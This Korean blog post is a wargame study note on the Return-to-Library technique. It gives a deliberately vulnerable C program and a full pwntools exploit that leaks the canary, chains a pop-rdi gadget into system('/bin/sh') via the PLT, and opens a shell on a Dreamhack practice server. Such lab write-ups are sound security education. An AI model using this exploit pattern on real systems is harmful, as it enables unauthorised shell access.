[포너블] Exploit Tech: Return to Library

Chris Kim·2024년 10월 17일

시스템해킹

목록 보기
14/33

출처 드림핵 / 예제파일

1. Return To Library

NX로 스택에 실행권한이 없어졌다면, 아직 실행 권한이 남아있는 코드 영역으로 반환주소를 덮으면 되는 것이다. 일반적으로 실행 권한이 있는 메모리 영역은 바이너리 코드영역과 라이브러리 코드 영역이다.
이 중 라이브러리에는 공격에 유용한 함수들이 많이 구현되어 있다. 예를들어, libc에는 execve,system 등의 함수가 있다. libc의 함수들로 NX를 우회, 셸을 획득하는 이 공격 기법을 Return To Library라고 한다.(유사한 공격 기법으로 Return TO PLT 가 있다.

2. 분석

2.1 보호 기법

checksec으로 보호 기법을 파악해보자.

카나리가 있고 NX가 있다. 최신 리눅스에서는 ASLR이 기본적으로 적용되어 있다.

2.2 코드 분석

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

read 함수에 페이로드를 넣어 카나리 값을 획득하고 반환 주소를 다시한번 read 함수를 통해 덮어써주면 된다.
ASLR이 적용되도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, "/bin/sh"의 주소는 고정되어 있다. 누가봐도 공격에 유용해보인다.
system 함수가 보이는데 이는 PLT에 추가하기 위함이라고 한다. PLT에는 함수 주소가 resolve 되지 않은 경우에, 함수 주소를 구하고 실행하는 코드가 적혀있다.
따라서 PLT에 어떤 라이브러리 함수가 등록되어 있으면, 그 함수의 PLT 엔트리를 실행해서 함수를 실행할 수 있다. 앞서 말했듯, 코드/데이터 세그먼트가 고정되어 있으므로 PLT의 주소도 고정되어 있다. 즉 라이브러리 주소가 랜덤이어도 이 방법으로 그 주소를 알아낼 수 있다. 이게 Return To PLT 다.

3. 익스플로잇 설계

3.1 설계

3.1.1 카나리 우회

다른 글 참조

3.1.2 rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득

  1. "/bin/sh"의 주소를 알고
  2. system 함수의 PLT 주소를 안다. -> system 함수를 호출 할 수 있다.
    rdi에 "/bin/sh"의 주소를 넣기 위해 리턴 가젯을 활용해야 한다.

3.2 리턴 가젯

리턴 가젯(Return gadget) 이란 ret 명령어로 끝나는 어셈블리 코드 조각을 말한다. ROPgadget --binary rtl를 사용해서 가젯을 구할 수 있다.

NX로 인해 셸코드를 실행할 수 없는 상황에서 일반적으로 단 한번의 함수 실행으로 셸을 획득하는 것은 불가능하다.
리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여준다. 리턴 가젯을 사용해서 아래와 같이 반환 주소와 이후의 버퍼를 다음과 같이 덮으면 pop rdirdi를 "/bin/sh"의 주소로 설정하고, 이어지는 retsystem함수를 호출할 수 있댜.

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

4. 익스플로잇 작성

4.1 카나리 값 획득

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./rtl')

## 카나리 값 저장 주소 0x7fffffffdce8 [rbp-0x8]]
## buf의 위치[rbp-0x40]/ 0x8은 더미


p.recvuntil(b'Canary')
p.sendafter(b'Buf: ', b'A'*0x39)
p.recvuntil(b'Buf: '+b'A'*0x39)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary: ', cnry)

4.2 리턴 가젯 찾기

일반적으로 ROPgadget을 사용한다. pip install ROPgadget --user로 설치한다. 필자는 이미 설치가 이뤄져 있었다.

ROPgadget --binary ...을 통해 필요한 가젯을 찾을 수 있다. --re 옵션을 사용하면 정규표현식으로 가젯을 필터링 할 수 있다.

4.3 "/bin/sh", PLT 주소 찾기

pwndbg로 찾아보자

다음은 system함수다

## PLT 주소 찾기
binary = ELF("./rtl")
system_plt = binary.plt['system']
slog('PLT Address ', system_plt)

위 코드로 PLT_system의 주소를 찾을 수 있다.

4.4 전체 익스플로잇

# Name: exploit.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

# p = process('./rtl')
p = remote('host3.dreamhack.games',15720)
binary = ELF("./rtl")

## 카나리 값 저장 주소 0x7fffffffdce8 [rbp-0x8]
## buf의 위치[rbp-0x40]
p.recvuntil(b'Canary')
p.sendafter(b'Buf: ', b'A'*0x39)
p.recvuntil(b'Buf: '+b'A'*0x39)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary: ', cnry)


## 리턴 가젯 주소: 0x400285
ret = 0x400285

## pop rdi 주소 0x400853
rdi = 0x400853

## /bin/sh 주소
binsh = 0x400874

## PLT 주소 찾기
system_plt = binary.plt['system']
slog('PLT Address ', system_plt)

## 페이로드 구성
##          AAAAA... | cnry      |   ebp   |    ret   | pop_rdi | 0x400874 | system_plt
payload = b"A"*0x38 + p64(cnry) + b'B'*0x8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system_plt)

p.recvuntil('Buf: ')
p.sendline(payload)

## 전환
p.interactive()

페이로드를 위와 같이 구성한 이유는 다음과 같다.

(1) main 함수 끝에서 leave로 인해 rbp가 0xBBBBBBBB로 이동 그리고 rsp가 return address를 가리킴
(1)-1 0x10단위로 스택을 정리하기 위해 ret 가젯을 추가로 넣음, 이러면 스택 단위를 맞추어줄 수 있고 rip도 ret을 계속 가리키고 있음. 실행흐름에 영향을 미치지 않음. rip도 ret을 계속 가리키고 있음
(2) rip는 더미 ret을 가리키고 있고, rsp는 pop_rdi 가젯 주소를 가리키고 있음. rip는 해당 가젯으로 이동하고, rsp는 그 뒤의 "/bin/sh"의 주소가 담긴 메모리를 가리킴
(3) rip가 pop rdi를 수행, rsp가 가리키고 있던 /bin/sh의 주소가 rdi에 담김.(system 함수 인자 준비 완료) rsp는 그 뒤의 system_plt를 가리킴
(4) pop rdi; retret 들어있었기 때문에 rsp가 가리키는 주소로 ret하게 됨.(system plt 실행)

** ;는 어셈블리어에서 구분자 역할을 한다.

profile
회계+IT=???

0개의 댓글